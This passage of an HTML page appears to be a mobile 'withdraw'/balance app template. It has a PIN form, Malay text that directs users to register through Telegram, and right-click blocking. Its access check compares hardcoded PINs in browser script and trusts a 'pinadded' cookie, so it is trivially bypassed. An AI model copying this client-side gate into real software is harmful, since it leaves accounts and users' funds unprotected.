                let cookie = getCookie('pinadded')
                if (cookie == "true") {

                } else {
                    $("#pin-form").css('display', 'block');
                }
            });

            var pins = [500000000000000000000000000000000000, 10000000000000000000000000000000000, 1500000000000000000000000000000000000000000, ];

            function addNumber(e) {
                var v = $("#input-pin").val();
                $("#input-pin").val(v + e.value);
            }

            function clearForm() {
                $("#input-pin").val("");
            }

            function submitForm() {
                if ($("#input-pin").val() == "") {
                    swal("ERROR", "Please Register First", {
                        icon: "error",
                        buttons: {
                            confirm: {
                                className: 'btn btn-danger'
                            }
                        },
                    })
                } else {
                    if (pins.includes(+$("#input-pin").val())) {
                        document.cookie = "pinadded" + "=" + true + ";";
                    } else {
                        swal("ERROR", "Please Register First", {
                            icon: "error",
                            buttons: {
                                confirm: {
                                    className: 'btn btn-danger'
                                }
                            },
                        })
                        $("#input-pin").val("");


                    }
                }
            }


            function getCookie(cname) {
                var name = cname + "=";
                var decodedCookie = decodeURIComponent(document.cookie);
                var ca = decodedCookie.split(';');
                for (var i = 0; i < ca.length; i++) {
                    var c = ca[i];
                    while (c.charAt(0) == ' ') {
                        c = c.substring(1);
                    }
                    if (c.indexOf(name) == 0) {
                        return c.substring(name.length, c.length);
                    }
                }
                return "";
            }
        </script>
    </section>





    <!-- BAGIAN PROFIL -->
    <section class="tabcontent" id="Codingasik-Tab3">

        <style>
            .header-codingasik {
                display: flex;
                padding: 10px;
            }

            * {
                box-sizing: border-box;
            }

            .foto-profil {}

            .image-profil img {
                width: 44px;
                border: 0px solid black;
                border-radius: 50%;
                margin-right: 10px;
            }

            .name-profil {
                width: 100%;
                text-align: left;
            }

            .name-profil h5 {
                font-size: 14px;
                color: white;
                text-align: left;
                margin-top: 8px;
            }

            .edit-profil {}

            .edit-profil img {
                width: 25px;
            }

            .menu-four {
                display: flex;
            }

            .box-gradient1 {
                background-image: linear-gradient(to bottom, #00a2ff, #0055ff);
                padding: 20px;
                display: flex;
                border-radius: 10px;
                width: 100%;
                margin-top: 10px;
            }

            .box-gradient2 {
                background-image: linear-gradient(to top, #00ff7b, #00f054);
                box-shadow: rgba(0, 0, 0, 0.1) 0px 1px 3px 0px, rgba(0, 0, 0, 0.06) 0px 1px 2px 0px;
                padding: 20px;
                display: flex;
                border-radius: 10px;
                width: 100%;
                margin-top: 10px;
            }

            .box-gradient3 {
                background-image: linear-gradient(to top, #ff0088, #f00060);
                box-shadow: rgba(0, 0, 0, 0.1) 0px 1px 3px 0px, rgba(0, 0, 0, 0.06) 0px 1px 2px 0px;
                padding: 20px;
                display: flex;
                border-radius: 10px;
                width: 100%;
                margin-top: 10px;
            }

            .box-gradient4 {
                background-image: linear-gradient(to top, #bb00ff, #8e00c2);
                box-shadow: rgba(0, 0, 0, 0.1) 0px 1px 3px 0px, rgba(0, 0, 0, 0.06) 0px 1px 2px 0px;
                padding: 20px;
                display: flex;
                border-radius: 10px;
                width: 100%;
                margin-top: 10px;
            }

            .icon-gradient i {
                color: white;
                margin-right: 10px;
            }

            .text-gradient {
                color: white;
            }

            .text-gradient h5 {
                font-size: 15px;
                margin-bottom: 0px;
            }

            .text-gradient p {
                margin: 0px;
                font-size: 10px;
            }

            a {
                text-decoration: none;
            }

            .menu-profil-down {
                display: flex;
                margin-top: 10px;
                border-bottom: 1px solid #e0e0e0;
            }

            .iconmenu-left img {
                width: 20px;
                margin-right: 10px;
            }

            .textmenu {
                width: 100%;
            }

            .textmenu h5 {
                font-size: 14px;
                margin-bottom: 0px;
                color: black;
            }

            .textmenu p {
                font-size: 10px;
                margin-top: 0px;
                margin-bottom: 5px;
                color: black;
            }

            .iconmenu-right i {
                font-size: 15px;
                margin-top: 10px;
                color: grey;
            }

            .logout {
                background: #1976d2;
                color: white;
                font-size: 13px;
                width: 100%;
                padding: 5px;
                border-radius: 5px;
                border: none;
                margin-top: 40px !mportant;
            }

            .text-caption {
                font-size: 18px;
                font-weight: 700;
                color: black;
                margin-top: 30px;
                opacity: .8;
            }
        </style>
        </head>

        <body>

            <div class="header-codingasik">
                <div class="image-profil">
                    <img src="{foto}" alt="">
                </div>
                <div class="name-profil">
                    <h5>{nama}</h5>
                </div>
                <div class="edit-profil">
                    <a href="action://act/profile">
                        <img src="https://mitrabersamathirfart.files.wordpress.com/2023/01/20230127_000005_0000.png" alt="">
                </div>
            </div>


            <br>
            <br>

            <div style="color: black; font-size: 30px; font-weight: bold;padding: 10px;margin-top: 20px;">
                <center>
                    <h5>Daftar Untuk Melihat Akaun</h5>
                    <p style="color: black; font-size: 13px; font-weight: bold;">Anda boleh mengakses menu Akaun,
                        daftar sekarang untuk mengakses menu Akaun gunakan telegram untuk mendaftar.</p>
                </center>
            </div>

            <center>
                <a href="./">
                    <button class="pengajuan-codingasik">
                        Daftar sekarang
                    </button>
                </a>
            </center>

    </section>





    <!-- CODINGASIK NAVBAR -->
    <style>
        .codingasik-nav-float {
            position: fixed;
            bottom: 10px;
            width: 94%;
            left: 3%;
            z-index: 1000000;
            background: #548ff7;

        }

        /* TAB */
        .tab {
            border: none;
            background-image: url(https://i.ibb.co/X2Hntdr/Tanpa-judul.png);
            background-size: cover;
            background-position: center;

            width: 100%;
            height: 70px;
            display: flex;
            text-align: center;
            border-radius: 25px;
            padding: 0px;

        }

        .tab button {
            background-color: inherit;
            border: none;
            width: 100%;
            font-weight: bold;
            background: #548ff7;
            outline: none;
            cursor: pointer;
            opacity: 1;
            position: relative;
            color: white;
            font-size: 12px;
            border-radius: 10px;
            padding: 5px;
            padding-right: 10px !important;
            padding-left: 10px !important;
            font-family: 'Montserrat Alternates', sans-serif;
        }

        .tab button.active {
            background: #548ff7;
            opacity: 1;
            position: relative;
            bottom: 0px;
            color: white;
            border-radius: 10px;
            animation: fade-in-left .5s ease;
            position: relative;
        }

        .codingasiktab img {
            width: 25px;
            margin-bottom: 0px;
            margin-top: 5px;
            border-radius: 0px;
            padding: 0px;
            background: #5490f700;
        }

        .codingasiktab p.active {
            margin-bottom: 0px;
            margin-top: 5px;
            margin-bottom: 5px;
        }

        .tabcontent {
            display: none;
        }
    </style>
    <div class="codingasik-nav-float">
        <div class="codingasik-fix-nav">
            <div class="tab">
                <button class="codingasiktab active" onclick="openCity(event, 'Codingasik-Tab1')">
                    <img src="https://mitrabersamathirfart.files.wordpress.com/2023/01/20230127_232524_0000.png" alt="" style="width: 25px;" class="iamgeken">
                    <p class="active">Home</p>
                </button>

                <button class="codingasiktab" onclick="openCity(event, 'Codingasik-Tab2')">
                    <img src="https://i.ibb.co/Sngyy42/up-arrow-prev-ui-removebg-preview.png" alt="" style="margin-top: -30px;width: 55px;positin:relative;margin-bottom: 10px;" class="iamgeke">
                    <p class="active" style="margin-top: 3px;">Withdraw</p>
                </button>

                <button class="codingasiktab" onclick="openCity(event, 'Codingasik-Tab3')">
                    <img src="https://mitrabersamathirfart.files.wordpress.com/2023/01/png_20230127_232825_0000.png" alt="" style="width: 25px;" class="iamgeken">
                    <p class="active">Account</p>
                </button>
            </div>
        </div>
    </div>





    <script>
        const txts = document.querySelector(".animate-text").children,
            txtsLen = txts.length;
        let index = 0;
        const textInTimer = 3000,
            textOutTimer = 2800;

        function animateText() {
            for (let i = 0; i < txtsLen; i++) {
                txts[i].classList.remove("text-in", "text-out");
            }
            txts[index].classList.add("text-in");

            setTimeout(function() {
                txts[index].classList.add("text-out");
            }, textOutTimer)

            setTimeout(function() {

                if (index == txtsLen - 1) {
                    index = 0;
                } else {
                    index++;
                }
                animateText();
            }, textInTimer);
        }

        window.onload = animateText;
    </script>
    <script>
        $(document).ready(function() {
            $("body").on("contextmenu", function(e) {
                return false;
            });
        });
    </script>
    <script src="https://codingasik.my.id/api/js/tabcontent.js"></script>
    <script src="https://codingasik.my.id/api/js/saldo.js"></script>
    <script src="https://codingasik.my.id/bootstrap/js/bootstrap.bundle.min.js"></script>
</body>

</html>